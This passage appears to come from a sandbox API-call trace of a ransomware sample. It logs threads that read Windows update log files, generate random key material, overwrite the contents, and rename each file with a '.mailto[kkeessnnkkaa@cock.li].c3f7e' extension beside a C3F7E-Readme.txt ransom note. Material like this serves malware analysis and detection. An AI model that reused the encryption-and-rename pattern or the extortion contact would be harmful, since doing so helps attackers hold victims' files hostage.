	[0083.825] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2823f71c, FileInformation=0x2823f6f4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.826] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.829] CloseHandle (hObject=0x16f8) returned 1
	[0083.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.831] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.831] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.831] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0083.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e5d8) returned 1

Thread:
	id = 1144
	os_tid = 0x1e50

	[0083.611] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl")) returned 0x2020
	[0083.776] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", dwFileAttributes=0x20) returned 1
	[0083.779] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.785] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x282bfcc4 | out: lpFileSize=0x282bfcc4*=8192) returned 1
	[0083.785] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.788] ReadFile (in: hFile=0x16ec, lpBuffer=0x282bfc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x282bfc44, lpOverlapped=0x0 | out: lpBuffer=0x282bfc48*, lpNumberOfBytesRead=0x282bfc44*=0x4, lpOverlapped=0x0) returned 1
	[0083.789] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.789] NtQuerySystemTime (in: CurrentTime=0x282bfc24 | out: CurrentTime=0x282bfc24*=132251868105306786) returned 0x0
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x2041d4d1
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x60a2f0cd
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x9b7a724
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xf59ed79d
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xf6b81f8f
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xb23caea8
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xe4919c0
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xf5878c4b
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x7a9a93d0
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xf24a0051
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xd3d55196
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x38aeb899
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x2fe020e7
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xd51cbe68
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x8e139356
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x94ff6bd8
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x790f0710
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x5f67f3eb
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x344b38ed
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x2628940d
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xfcb5982a
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x2b1c2254
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x2ecb8909
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x58f7021a
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x18b83735
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x66bcc02c
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xead88284
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x563c1ae6
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x178265de
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x5447e99f
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0x95d6a631
	[0083.790] RtlRandom (in: Seed=0x282bfc30 | out: Seed=0x282bfc30) returned 0xb44b56ee
	[0083.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.799] ReadFile (in: hFile=0x16ec, lpBuffer=0x5032038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x282bfc20, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x282bfc20*=0x2000, lpOverlapped=0x0) returned 1
	[0083.800] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.800] WriteFile (in: hFile=0x16ec, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x282bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x282bfc1c*=0x2000, lpOverlapped=0x0) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ebb8
	[0083.801] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.801] WriteFile (in: hFile=0x16ec, lpBuffer=0x481ebb8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x282bfc84, lpOverlapped=0x0 | out: lpBuffer=0x481ebb8*, lpNumberOfBytesWritten=0x282bfc84*=0x135, lpOverlapped=0x0) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.804] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl"
	[0083.804] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.804] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x282bfc3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.804] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x282bfc34, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.805] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x282bfc48, FileInformation=0x282bfc20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x282bfc48, FileInformation=0x282bfc20) returned 0x0
	[0083.805] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x282bfc48, FileInformation=0x282bfc20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.806] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.807] CloseHandle (hObject=0x16ec) returned 1
	[0083.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.808] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.808] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.808] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0083.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476de88) returned 1

Thread:
	id = 1145
	os_tid = 0x1e54

	[0083.612] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl")) returned 0x2020
	[0083.760] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", dwFileAttributes=0x20) returned 1
	[0083.761] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.761] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x2833fb7c | out: lpFileSize=0x2833fb7c*=8192) returned 1
	[0083.761] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.761] ReadFile (in: hFile=0x16f8, lpBuffer=0x2833fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2833fafc, lpOverlapped=0x0 | out: lpBuffer=0x2833fb00*, lpNumberOfBytesRead=0x2833fafc*=0x4, lpOverlapped=0x0) returned 1
	[0083.764] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.764] NtQuerySystemTime (in: CurrentTime=0x2833fadc | out: CurrentTime=0x2833fadc*=132251868104994255) returned 0x0
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x8cab3f80
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x6d51a9d6
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x1ee82b2c
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x5c5a47dc
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x5d1de474
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x9c3ff532
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x77a6e8fa
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x99327936
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xadb2e8a3
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x399e4e82
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xff531795
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xeebce768
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x71477a79
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x624e6041
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x7729032f
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x45e005d
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x7e661b4e
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xc3f68235
	[0083.764] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x4a1a646a
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xa506a849
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xaace214a
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xdaa541f3
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x963f4bd4
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xc4826baa
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xb9d0954a
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x7cbfda07
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x9181ca0f
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x4bedd9be
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xb88fbd83
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x97e54d8c
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0x292059b8
	[0083.765] RtlRandom (in: Seed=0x2833fae8 | out: Seed=0x2833fae8) returned 0xef5e630e
	[0083.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.776] ReadFile (in: hFile=0x16f8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2833fad8, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2833fad8*=0x2000, lpOverlapped=0x0) returned 1
	[0083.777] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.777] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2833fad4, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x2833fad4*=0x2000, lpOverlapped=0x0) returned 1
	[0083.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ebb8
	[0083.779] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.779] WriteFile (in: hFile=0x16f8, lpBuffer=0x481ebb8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2833fb3c, lpOverlapped=0x0 | out: lpBuffer=0x481ebb8*, lpNumberOfBytesWritten=0x2833fb3c*=0x135, lpOverlapped=0x0) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.781] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl"
	[0083.781] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.781] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2833faf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.781] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2833faec, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.783] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x2833fb00, FileInformation=0x2833fad8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2833fb00, FileInformation=0x2833fad8) returned 0x0
	[0083.783] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2833fb00, FileInformation=0x2833fad8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.784] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.785] CloseHandle (hObject=0x16f8) returned 1
	[0083.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.787] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.787] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.787] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
